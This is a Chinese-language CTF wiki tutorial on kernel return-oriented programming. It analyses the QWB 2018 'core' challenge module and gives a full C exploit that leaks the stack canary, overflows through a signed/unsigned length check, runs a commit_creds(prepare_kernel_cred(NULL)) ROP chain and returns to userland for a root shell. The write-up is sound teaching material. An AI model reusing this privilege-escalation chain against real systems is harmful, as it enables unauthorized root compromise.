跳转至

Kernel ROP

ROP即返回导向编程(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。

内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由 system("/bin/sh") 变为了 commit_creds(&init_cred)commit_creds(prepare_kernel_cred(NULL)),当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell。

状态保存

通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态。

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

算是一个通用的pwn板子。

方便起见,使用了内联汇编,由于编写风格是 Intel 汇编,编译时需要指定参数:-masm=intel

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回用户态

由内核态返回用户态只需要:

  • swapgs 指令恢复用户态GS寄存器
  • sysretq 或者 iretq 恢复到用户空间

那么我们只需要在内核中找到相应的gadget并执行 swapgs;iretq 就可以成功着陆回用户态。

通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:

↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

需要注意的是,在返回用户态执行 system() 函数时同样有可能遇到栈不平衡导致函数执行失败并最终 Segmentation Fault 的问题,因此在本地调试时若遇到此类问题,则可以将 user_sp 的值加减 8 以进行调整。

例题:强网杯2018 - core

分析

题目给了 bzImagecore.cpiostart.sh 以及带符号表的 vmlinux 四个文件

前三个文件我们已经知道了作用,vmlinux 则是静态编译,未经过压缩的 kernel 文件,相对应的 bzImage 可以理解为压缩后的文件,更详细的可以看 stackexchange

vmlinux 是未经压缩的 kernel EFL 文件,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用,这里我们可以使用 ROPgadget 与 ropper 进行提取:

$ ropper --file ./vmlinux --nocolor > gadget_ropper.txt
$ ROPgadget --binary ./vmlinux > gadget_ropgadget.txt

如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。

$ ./extract-vmlinux ./bzImage > vmlinux
$ file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=95c16b8b93624a36f63ef1fada5a9e940b99b470, stripped

首先查看 start.sh ,可以发现内核开启了 kaslr 保护:

$ ls
bzImage  core.cpio  start.sh  vmlinux
$ cat start.sh 
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

接下来解压 core.cpio

$ file core.cpio 
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048
$ mkdir core
$ cd core 
$ mv ../core.cpio core.cpio.gz
$ gunzip ./core.cpio.gz 
$ cpio -idm < ./core.cpio
104379 blocks

接下来查看启动脚本 init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

发现了几处有意思的地方:

  • 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_credsprepare_kernel_cred 的函数的地址了。
  • 第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。
  • 第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了。
  • 第 18 行设置了定时关机,为了避免本地做题时产生干扰,我们可以把这句删掉然后重新打包。

同时还发现了一个 shell 脚本 gen_cpio.sh

find . -print0 \
cpio --null -ov --format=newc \
gzip -9 > $1

从名称和内容都可以看出这是一个方便打包的脚本,我们修改好 init 后重新打包,尝试运行 kernel:

$ rm core.cpio 
$ ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
./usr/sbin/popmaildir
......
......
./core.cpio
./core.ko
129851 blocks
$ ls
bin        core.ko  gen_cpio.sh  lib    linuxrc  root  sys  usr
core.cpio  etc      init         lib64  proc     sbin  tmp  vmlinux
$ mv core.cpio ..
$ cd ..
$ ./start.sh 

此时可能会遇到内核运行不起来的问题,从一闪即逝的报错信息中能看到是因为分配的内存过小,此时将启动脚本 start.sh-m 分配的 64M 内存改为合适的更大的值(如 256M)即可。

$ checksec filesystem/core.ko
[*] '/home/arttnba3/Data/CTF/Competition/QWB2018/core_give/give_to_player/filesystem/core.ko'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x0)
    Stripped:   No
可以看出开启了 canary 保护,接下来用 IDA 打开进行逆向分析。

模块启动函数 init_module() 注册了 /proc/core 接口:

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk("\x016core: created /proc/core entry\n");
  return 0LL;
}

模块注销函数 exit_core() 则会删除 /proc/core 接口:

__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

交互函数 core_ioctl() 定义了三条命令,分别是调用 core_read()core_copy_func() 和设置全局变量 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk("\x016core: %d\n", a3);
      off = a3;
      break;
    case 0x6677889A:
      printk("\x016core: called core_copy\n");
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

core_read()v4[off] 拷贝 64 个字节到用户空间,由于全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 leak canary 和栈上的一些其他数据:

void __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  char *v2; // rdi
  signed __int64 i; // rcx
  char v4[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v5 = __readgsqword(0x28u);
  printk("\x016core: called core_read\n");
  printk("\x016%d %p\n", off, (const void *)a1);
  v2 = v4;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  if ( copy_to_user(v1, &v4[off], 64LL) )
    __asm { swapgs }
}

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为负数值如 0xffffffffffff0000|(0x100),我们便能绕过检查完成栈溢出:

void __fastcall core_copy_func(signed __int64 a1)
{
  char v1[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v2; // [rsp+40h] [rbp-10h]

  v2 = __readgsqword(0x28u);
  printk("\x016core: called core_writen");
  if ( a1 > 63 )
    printk("\x016Detect Overflow");
  else
    qmemcpy(v1, name, (unsigned __int16)a1);    // overflow
}

core_write() 向全局变量 name 上写,因此通过 core_write()core_copy_func() 我们便能完成 ROP chain 到内核空间的拷贝与执行:

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk("\x016core: called core_writen");
  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
    return (unsigned int)v3;
  printk("\x016core: error copying data from userspacen");
  return 0xFFFFFFF2LL;
}

解题思路

经过如上的分析,可以得出以下解题思路:

  1. 通过 ioctl 设置 off,然后通过 core_read() 泄漏出 canary
  2. 通过 core_write() 向 name 写,构造 ropchain
  3. 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
  4. 通过 rop 执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权
  5. 返回用户态,通过 system("/bin/sh") 等起 shell

解释一下:

  • 如何获得 commit_creds(),prepare_kernel_cred() 的地址?
    • /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址
  • 如何返回用户态?
    • swapgs; iretq,之前说过需要设置 cs, rflags 等信息,可以写一个函数保存这些信息
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status_intel()
{
    asm volatile(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}

// at&t flavor assembly
void save_status_atNt() {
    asm volatile(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}

Exploit

最终的 exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

/**
 * Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    log_success("[*] Status has been saved.");
}

void get_root_shell(void)
{
    if(getuid()) {
        log_error("[x] Failed to get the root!");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    log_success("[+] Successful to get the root.");
    log_info("[*] Execve root shell now...");

    system("/bin/sh");

    /* to exit the process normally, instead of potential segmentation fault */
    exit(EXIT_SUCCESS);
}

/**
 * Challenge Interface
**/

void core_read(int fd, char *buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd, size_t off)
{
    ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd, size_t nbytes)
{
    ioctl(fd, 0x6677889A, nbytes);
}

/**
 * Exploitation
**/

#define COMMIT_CREDS 0xffffffff8109c8e0
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

void exploitation(void)
{
    FILE *ksyms_file;
    int fd;
    char buf[0x1000], type[0x10];
    size_t addr;
    size_t canary;
    size_t rop_chain[0x100], i;

    log_info("[*] Start to exploit...");
    save_status();

    fd = open("/proc/core", O_RDWR);
    if(fd < 0) {
        log_error("[x] Failed to open the /proc/core !");
        exit(EXIT_FAILURE);
    }

    /* get addresses of kernel symbols */

    log_info("[*] Reading /tmp/kallsyms...");

    ksyms_file = fopen("/tmp/kallsyms", "r");
    if(ksyms_file == NULL) {
        log_error("[x] Failed to open the sym_table file!");
        exit(EXIT_FAILURE);
    }

    while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
        if(prepare_kernel_cred && commit_creds) {
            break;
        }

        if(!commit_creds && !strcmp(buf, "commit_creds")) {
            commit_creds = addr;
            printf(
                SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")   
               "%lx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf(SUCCESS_MSG(
                "[+] Successful to get the addr of prepare_kernel_cred: ")
               "%lx\n", prepare_kernel_cred);
            continue;
        }
    }

    kernel_offset = commit_creds - COMMIT_CREDS;
    kernel_base += kernel_offset;
    printf(
        SUCCESS_MSG("[+] Got kernel base: ") "%lx"
        SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
        kernel_base,
        kernel_offset
    );

    /* reading canary value */

    log_info("[*] Reading value of kernel stack canary...");

    set_off_val(fd, 64);
    core_read(fd, buf);
    canary = ((size_t*) buf)[0];

    printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

    /* building ROP chain */

    for(i = 0; i < 10; i++) {
        rop_chain[i] = canary;
    }
    rop_chain[i++] = POP_RDI_RET + kernel_offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RDX_RET + kernel_offset;   // exec:1
    rop_chain[i++] = POP_RCX_RET + kernel_offset;   // exec:3
    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + kernel_offset;  // exec:2
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = SWAPGS_POPFQ_RET + kernel_offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + kernel_offset;
    rop_chain[i++] = (size_t) get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp + 8;   // userland stack balance
    rop_chain[i++] = user_ss;

    /* exploitation */

    log_info("[*] Start to execute ROP chain in kernel space...");

    write(fd, rop_chain, 0x800);
    core_copy(fd, 0xffffffffffff0000 | (0x100));
}

int main(int argc, char ** argv)
{
    exploitation();
    return 0;   /* never arrive here... */
}
当然这个题目也有其他做法,我们将在后续章节中进行分析。

Reference and Thanks to

https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic

https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml

https://blog.csdn.net/gatieme/article/details/78311841

https://bbs.pediy.com/thread-247054.htm

https://veritas501.space/2018/06/05/qwb2018%20core/

http://p4nda.top/2018/07/13/ciscn2018-core/